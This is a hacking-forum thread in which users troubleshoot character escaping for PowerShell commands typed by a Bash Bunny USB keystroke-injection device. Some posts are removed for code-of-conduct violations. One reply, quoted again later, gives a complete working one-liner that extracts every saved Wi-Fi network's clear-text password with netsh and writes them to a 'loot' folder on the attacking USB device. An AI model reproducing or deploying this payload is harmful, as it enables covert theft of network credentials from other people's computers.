illwill Posted March 13, 2017 Share Posted March 13, 2017 (edited) Violation of CoC Edited October 8, 2017 by illwill Violation of CoC Quote Link to comment Share on other sites More sharing options...
illwill Posted March 13, 2017 Author Share Posted March 13, 2017 (edited) Violation of CoC Edited October 8, 2017 by illwill Violation of CoC Quote Link to comment Share on other sites More sharing options...
valentino00776 Posted March 15, 2017 Share Posted March 15, 2017 Thanks guys illwill could you please use and escape my script posted to work. ? im pulling my hair out. ? Quote Link to comment Share on other sites More sharing options...
jjd Posted March 21, 2017 Share Posted March 21, 2017 ok now im pulling my hair out! I cant get this to work! I found your thread when searching for how to escape special char, but it seem to not work for me. copying your code Q STRING \$Bunny \= \(gwmi win32_volume -f \'label\=\'\'BashBunny\'\'\' \| Select-Object -ExpandProperty DriveLetter\) in my bunny outputs this to notepad $Bunny = (gwmi win32_volume -f <label=<<BashBunny<<< ~ Select-Object -ExpandProperty DriveLetter) with the code I was working on before finding your post this STRING '$a = Get-WmiObject -Class Win32_Volume -Filter "Label='BashBunny'" | select -expand Name' outputs $a = Get-WmiObject -Class Win32_Volume -Filter @Label=BashBunny@ ~ select -expand Name this is what made me realize that i needed to escape them and in that your code does not work explains why most things that use hid don't seem to work for me..... and... I have no idea why.... Quote Link to comment Share on other sites More sharing options...
illwill Posted March 21, 2017 Author Share Posted March 21, 2017 (edited) Violation of CoC Edited October 8, 2017 by illwill Violation of CoC Quote Link to comment Share on other sites More sharing options...
jjd Posted March 21, 2017 Share Posted March 21, 2017 Perhaps? I'm located in Canada (not French Canada) and windows is setup with us eng keyboard I assume that's the default for the bunny as well? Quote Link to comment Share on other sites More sharing options...
DataHead Posted April 6, 2017 Share Posted April 6, 2017 this is old, but.. does the following work for you? $'$Bunny = (gwmi win32_volume -f \'label=\'\'BashBunny\'\'\' | Select-Object -ExpandProperty DriveLetter) (netsh wlan show profiles) | Select-String "\:(.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)} | Select-String "Key Content\W+\:(.+)$" | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Format-Table -AutoSize | Out-File $Bunny\loot\WiFiCreds\WiFi.txt' Dollar qoutes $' ' for this purpose should work, only \ escaping your ' characters. >echo $'isn\'t this easier?' >isn't this easier? Quote Link to comment Share on other sites More sharing options...
jjd Posted April 6, 2017 Share Posted April 6, 2017 (edited) 4 minutes ago, DataHead said: this is old, but.. does the following work for you? $'$Bunny = (gwmi win32_volume -f \'label=\'\'BashBunny\'\'\' | Select-Object -ExpandProperty DriveLetter) (netsh wlan show profiles) | Select-String "\:(.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)} | Select-String "Key Content\W+\:(.+)$" | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Format-Table -AutoSize | Out-File $Bunny\loot\WiFiCreds\WiFi.txt' Dollar qoutes $' ' for this purpose should work, only \ escaping your ' characters. >echo $'isn\'t this easier?' >isn't this easier? not sure if you mean me, but after doing a factory reset mine started working normally, not sure what was screwed up with it the first time Edited April 6, 2017 by jjd Quote Link to comment Share on other sites More sharing options...
PoSHMagiC0de Posted April 6, 2017 Share Posted April 6, 2017 (edited) I believe if you enclose your command in double-quotes then the only thing you will have to escape is double-quotes you want to show up in typing and $. Edited April 6, 2017 by PoSHMagiC0de Quote Link to comment Share on other sites More sharing options...
illwill Posted April 7, 2017 Author Share Posted April 7, 2017 (edited) Violation of CoC Edited October 8, 2017 by illwill Violation of CoC Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.